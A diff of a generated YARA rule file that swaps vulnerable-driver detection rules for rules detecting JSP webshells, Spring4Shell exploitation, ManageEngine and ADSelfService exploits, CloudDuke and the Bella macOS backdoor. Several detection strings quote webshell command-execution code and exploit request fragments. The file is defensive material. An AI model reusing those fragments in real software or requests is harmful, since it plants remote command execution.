+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_casper.yar#L85-L104"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "83c6216bc3e7fadfe81b9bbaca7b14e3398e972f8298c99a8eb576a40e4b4e1b"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c00650020004e006f00540072006100700020004200750069006c0064 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0030002e0030002e0031003100300034 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003100310020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$a0 = "***** SYSTEM INFORMATION ******"
+		$a1 = "***** SECURITY INFORMATION ******"
+		$a2 = "Antivirus: "
+		$a3 = "Firewall: "
+		$a4 = "***** EXECUTION CONTEXT ******"
+		$a5 = "Identity: "
+		$a6 = "<CONFIG TIMESTAMP="
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_7710 : FILE
+rule SIGNATURE_BASE_WEBSHELL_JSP_Nov21_1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
-		author = "Florian Roth"
-		id = "9b4f6fc7-e597-5efd-9a85-6fd63fa9844b"
-		date = "2023-06-14"
+		description = "Detects JSP webshells"
+		author = "Florian Roth (Nextron Systems)"
+		id = "117eed28-c44e-5983-b4c7-b555fc06d923"
+		date = "2021-11-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2384-L2407"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "771015b2620942919bb2e0683476635b7a09db55216d6fbf03534cb18513b20c"
-		hash = "8d57e416ea4bb855b78a2ff3c80de1dfbb5dc5ee9bfbdddb23e46bd8619287e2"
-		hash = "900dd68ccc72d73774a347b3290c4b6153ae496a81de722ebb043e2e99496f88"
-		hash = "f74ffd6916333662900cbecb90aca2d6475a714ce410adf9c5c3264abbe5732c"
-		logic_hash = "3c281f5381de85adcfba468cfced2fa0b400d90bb2a14494da37bd9b21e60e36"
-		score = 40
+		reference = "https://www.ic3.gov/Media/News/2021/211117-2.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_spring4shell.yar#L2-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1dac7706421961c71ba6f8d7a223b80e4b77bf206bfb64ee18c7cc894b062a3c"
+		score = 70
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310035002000430050005500490044 }
+		$x1 = "request.getParameter(\"pwd\")" ascii
+		$x2 = "excuteCmd(request.getParameter(" ascii
+		$x3 = "getRuntime().exec (request.getParameter(" ascii
+		$x4 = "private static final String PW = \"whoami\"" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <400KB and 1 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Windowsrserverddkprovider_Speedfansys_Windowsrserverddkdriver_22BE : FILE
+rule SIGNATURE_BASE_EXPL_POC_Springcore_0Day_Indicators_Mar22_1
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - speedfan.sys"
-		author = "Florian Roth"
-		id = "c683be43-e577-5248-8a28-b13dbefd7f91"
-		date = "2023-06-14"
+		description = "Detects indicators found after SpringCore exploitation attempts and in the POC script"
+		author = "Florian Roth (Nextron Systems)"
+		id = "297e4b57-f831-56e0-a391-1ffbc9a4d438"
+		date = "2022-03-30"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2410-L2430"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "22be050955347661685a4343c51f11c7811674e030386d2264cd12ecbf544b7c"
-		logic_hash = "ce5fb5f559f97130403f8f4c22a2f223892ba46b1df9fd6a99624e879a3fcea3"
-		score = 40
+		reference = "https://twitter.com/vxunderground/status/1509170582469943303"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_spring4shell.yar#L19-L34"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "39fb62ec7953dae0a88e39e73e3ff286fc19cb8f21f8feb869a1875f6ba70cfb"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0053007000650065006400460061006e00200044006500760069006300650020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b002000700072006f00760069006400650072 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0073007000650065006400660061006e002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b0020006400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0073007000650065006400660061006e002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$x1 = "java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di"
+		$x2 = "?pwd=j&cmd=whoami"
+		$x3 = ".getParameter(%22pwd%22)"
+		$x4 = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7B"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Openlibsysorg_Openlibsyssys_Openlibsys_9131 : FILE
+rule SIGNATURE_BASE_EXPL_POC_Springcore_0Day_Webshell_Mar22_1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - OpenLibSys.sys"
-		author = "Florian Roth"
-		id = "94026bd4-e66c-551c-b054-b3b5191a5bb2"
-		date = "2023-06-14"
+		description = "Detects webshell found after SpringCore exploitation attempts POC script"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e7047c98-3c60-5211-9ad5-2bfdfb35d493"
+		date = "2022-03-30"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2433-L2453"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "91314768da140999e682d2a290d48b78bb25a35525ea12c1b1f9634d14602b2c"
-		logic_hash = "e61f4452ecae438072b37ae00ca67401541db0e8f6d5b0f1d697190fdff16d23"
-		score = 40
+		reference = "https://twitter.com/vxunderground/status/1509170582469943303"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_spring4shell.yar#L36-L50"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "17282b66899356a6051f0b47a7a3f02265737283d760f2256e03a2b934bb63b8"
+		score = 70
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004f00700065006e004c00690062005300790073 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e006f00720067 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004f00700065006e004c00690062005300790073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000370020004f00700065006e004c00690062005300790073002e006f00720067 }
+		$x1 = ".getInputStream(); int a = -1; byte[] b = new byte[2048];"
+		$x2 = "if(\"j\".equals(request.getParameter(\"pwd\")"
+		$x3 = ".getRuntime().exec(request.getParameter(\"cmd\")).getInputStream();"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <200KB and 1 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_E4EC : FILE
+rule SIGNATURE_BASE_EXPL_Manageengine_CVE_2022_47966_Jan23_1
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
-		author = "Florian Roth"
-		id = "888a2b05-46c1-54b2-a996-14fb9fae5779"
-		date = "2023-06-14"
+		description = "Detects indicators of exploitation of ManageEngine vulnerability as described by Horizon3"
+		author = "Florian Roth (Nextron Systems)"
+		id = "07535b9c-8611-5a46-bcd7-f94070de2aea"
+		date = "2023-01-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2456-L2476"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e4eca7db365929ff7c5c785e2eab04ef8ec67ea9edcf7392f2b74eccd9449148"
-		logic_hash = "08fa3c764599e1f0cb4e76b38b9d577a2fd70fb3f6f3e8e70eea65f0cf16d93a"
-		score = 40
+		reference = "https://www.horizon3.ai/manageengine-cve-2022-47966-iocs/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_manageengine_jan23.yar#L2-L14"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a62064e4f12632ba6c14cbbd9369ee919536334f19021a177c126b5dff7e568c"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000330038002c00200030002c00200030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000330038002c00200030002c00200030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100310020002d0020007700770077002e007400670073006f00660074002e00690074 }
+		$ = "]: com.adventnet.authentication.saml.SamlException: Signature validation failed. SAML Response rejected|"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Asustekcomputerinc_Atsziosys_Atsziodriver_FB6B : FILE
+rule SIGNATURE_BASE_Cloudduke_Malware : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ATSZIO.sys"
-		author = "Florian Roth"
-		id = "106afe18-1312-559d-87f5-319d67d36435"
-		date = "2023-06-14"
+		description = "Detects CloudDuke Malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "902ef68b-7ed1-5622-b796-4e3bb2388124"
+		date = "2015-07-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2479-L2499"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fb6b0d304433bf88cc7d57728683dbb4b9833459dc33528918ead09b3907ff22"
-		logic_hash = "f62cc8ddd443bf196d36d5a3a2724aff4858fcc78abcdbb3cf7362228fde7a7b"
-		score = 40
+		reference = "https://www.f-secure.com/weblog/archives/00002822.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cloudduke.yar#L10-L38"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "eaa159a99b6518db736adfd555bfcd052c2ae21b2e60a1db80b90459c47c90ab"
+		score = 60
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "97d8725e39d263ed21856477ed09738755134b5c0d0b9ae86ebb1cdd4cdc18b7"
+		hash2 = "88a40d5b679bccf9641009514b3d18b09e68b609ffaf414574a6eca6536e8b8f"
+		hash3 = "1d4ac97d43fab1d464017abb5d57a6b4601f99eaa93b01443427ef25ae5127f7"
+		hash4 = "ed7abf93963395ce9c9cba83a864acb4ed5b6e57fd9a6153f0248b8ccc4fdb46"
+		hash5 = "ee5eb9d57c3611e91a27bb1fc2d0aaa6bbfa6c69ab16e65e7123c7c49d46f145"
+		hash6 = "a713982d04d2048a575912a5fc37c93091619becd5b21e96f049890435940004"
+		hash7 = "56ac764b81eb216ebed5a5ad38e703805ba3e1ca7d63501ba60a1fb52c7ebb6e"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100540053005a0049004f0020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065006b00200043006f006d0070007500740065007200200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0030002e0032002e0032002e0033 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0030002e0032002e0032002e0033 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100540053005a0049004f002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100540053005a0049004f0020004400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100540053005a0049004f002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310032 }
+		$s1 = "ProcDataWrap" fullword ascii
+		$s2 = "imagehlp.dll" fullword ascii
+		$s3 = "dnlibsh" fullword ascii
+		$s4 = "%ws_out%ws" fullword wide
+		$s5 = "Akernel32.dll" fullword wide
+		$op0 = { 0f b6 80 68 0e 41 00 0b c8 c1 e1 08 0f b6 c2 8b }
+		$op1 = { 8b ce e8 f8 01 00 00 85 c0 74 41 83 7d f8 00 0f }
+		$op2 = { e8 2f a2 ff ff 83 20 00 83 c8 ff 5f 5e 5d c3 55 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <720KB and 4 of ($s*) and 1 of ($op*)
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_075D : FILE
+rule SIGNATURE_BASE_SFXRAR_Acrotray : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
-		author = "Florian Roth"
-		id = "e58174ba-c931-549b-bf5d-bdc9aeb362cc"
-		date = "2023-06-14"
+		description = "Most likely a malicious file acrotray in SFX RAR / CloudDuke APT 5442.1.exe, 5442.2.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1566fb75-d3a8-5e22-b05b-3a2f37374f31"
+		date = "2015-07-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2502-L2523"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "075de997497262a9d105afeadaaefc6348b25ce0e0126505c24aa9396c251e85"
-		hash = "cdfbe62ef515546f1728189260d0bdf77167063b6dbb77f1db6ed8b61145a2bc"
-		logic_hash = "467c47d2a64332dc3b94a3b55655f0e0c4f10b19e8724718b8f2ccf97ffe6446"
-		score = 40
+		reference = "https://www.f-secure.com/weblog/archives/00002822.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cloudduke.yar#L42-L61"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3b318ab2854eb7614dd1a42d3971a96d1d485d5cce552336ad3a7f39886ba710"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		super_rule = 1
+		hash1 = "51e713c7247f978f5836133dd0b8f9fb229e6594763adda59951556e1df5ee57"
+		hash2 = "5d695ff02202808805da942e484caa7c1dc68e6d9c3d77dc383cfa0617e61e48"
+		hash3 = "56531cc133e7a760b238aadc5b7a622cd11c835a3e6b78079d825d417fb02198"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310036002e00330032 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310036002e00330032 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000320030 }
+		$s1 = "winrarsfxmappingfile.tmp" fullword wide
+		$s2 = "GETPASSWORD1" fullword wide
+		$s3 = "acrotray.exe" fullword ascii
+		$s4 = "CryptUnprotectMemory failed" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <2449KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Micsystechnologycoltd_Msiosys_Msiodriverversion_X_AE42 : FILE
+rule SIGNATURE_BASE_OSX_Backdoor_Bella : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - MsIo64.sys"
-		author = "Florian Roth"
-		id = "65c75c41-8edb-526b-b0e8-73eea5cb7502"
-		date = "2023-06-14"
+		description = "Bella MacOS/OSX backdoor"
+		author = "John Lambert @JohnLaTwC"
+		id = "d2a994f9-acff-5de4-8f70-453b5d4d7947"
+		date = "2018-02-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2526-L2548"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ae42afa9be9aa6f6a5ae09fa9c05cd2dfb7861dc72d4fd8e0130e5843756c471"
-		hash = "d636c011b8b2896572f5de260eb997182cc6955449b044a739bd19cbe6fdabd2"
-		hash = "0f035948848432bc243704041739e49b528f35c82a5be922d9e3b8a4c44398ff"
-		logic_hash = "04c6c306d589c72ca5315bc2c931ae06d1e229bb355d4fba7b987ffb3e599b58"
-		score = 40
+		reference = "https://twitter.com/JohnLaTwC/status/911998777182924801"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_osx_backdoor_bella.yar#L2-L42"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4288a81779a492b5b02bad6e90b2fa6212fa5f8ee87cc5ec9286ab523fc02446 cec7be2126d388707907b4f9d681121fd1e3ca9f828c029b02340ab1331a5524 e1cf136be50c4486ae8f5e408af80b90229f3027511b4beed69495a042af95be"
+		logic_hash = "c2fa72072decd850698fbaaa9c2a6687cdf64e6bac068ff52a97963053db4339"
+		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0049004300530059005300200049004f0020006400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0049004300530059005300200054006500630068006e006f006c006f0067007900200043006f002e002c0020004c00540064 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003300200078003600340020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00330020007800360034 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004d00730049006f00360034002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d00730049006f003600340020004400720069007600650072002000560065007200730069006f006e00200031002e0033 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004d00730049006f00360034002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003200310020004d00490043005300590053 }
+		$h1 = "#!/usr/bin/env"
+		$s0 = "subprocess" fullword ascii
+		$s1 = "import sys" fullword ascii
+		$s2 = "shutil" fullword ascii
+		$p0 = "create_bella_helpers" fullword ascii
+		$p1 = "is_there_SUID_shell" fullword ascii
+		$p2 = "BELLA IS NOW RUNNING" fullword ascii
+		$p3 = "SELECT * FROM bella WHERE id" fullword ascii
+		$subpart1_a = "inject_payloads" fullword ascii
+		$subpart1_b = "check_if_payloads" fullword ascii
+		$subpart1_c = "updateDB" fullword ascii
+		$subpart2_a = "appleIDPhishHelp" fullword ascii
+		$subpart2_b = "appleIDPhish" fullword ascii
+		$subpart2_c = "iTunes" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint32(0)==0x752f2123 and $h1 at 0 and filesize <120KB and @s0[1]<100 and @s1[1]<100 and @s2[1]<100 and 1 of ($p*) or all of ($subpart1_*) or all of ($subpart2_*)
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Vektortsecurityservice_Vboxdrv_Antidetectpublic_3724 : FILE
+rule SIGNATURE_BASE_LOG_EXPL_Adselfservice_CVE_2021_40539_ADSLOG_Sep21 : LOG CVE_2021_40539 FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
-		author = "Florian Roth"
-		id = "1305b627-146c-5ec6-9e27-abac84f5a2f4"
-		date = "2023-06-14"
+		description = "Detects suspicious log lines produeced during the exploitation of ADSelfService vulnerability CVE-2021-40539"
+		author = "Florian Roth (Nextron Systems)"
+		id = "156317c6-e726-506d-8b07-4f74dae2807f"
+		date = "2021-09-20"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2551-L2571"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3724b39e97936bb20ada51c6119aded04530ed86f6b8d6b45fbfb2f3b9a4114b"
-		logic_hash = "6c2a12c5866686cde0e621bd35b73079d7d37d5b5d4b42bb962435a73682c32b"
-		score = 40
+		reference = "https://us-cert.cisa.gov/ncas/alerts/aa21-259a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_adselfservice_cve_2021_40539.yar#L2-L14"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "49b7857187c15f48e928747266adca44c227964cef72914616ea269b0e88fe73"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = "LOG, CVE-2021-40539, FILE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00560065006b0074006f0072002000540031003300200053006500630075007200690074007900200053006500720076006900630065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0034002e0032002e003100310039003200330030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0034002e0032002e003100310039003200330030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006e00740069006400650074006500630074002000320030003100390020005000750062006c00690063 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002d00320030003100390020004f007200610063006c006500200043006f00720070006f0072006100740069006f006e }
+		$x1 = "Java traceback errors that include references to NullPointerException in addSmartCardConfig or getSmartCardConfig" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		filesize <50MB and 1 of them
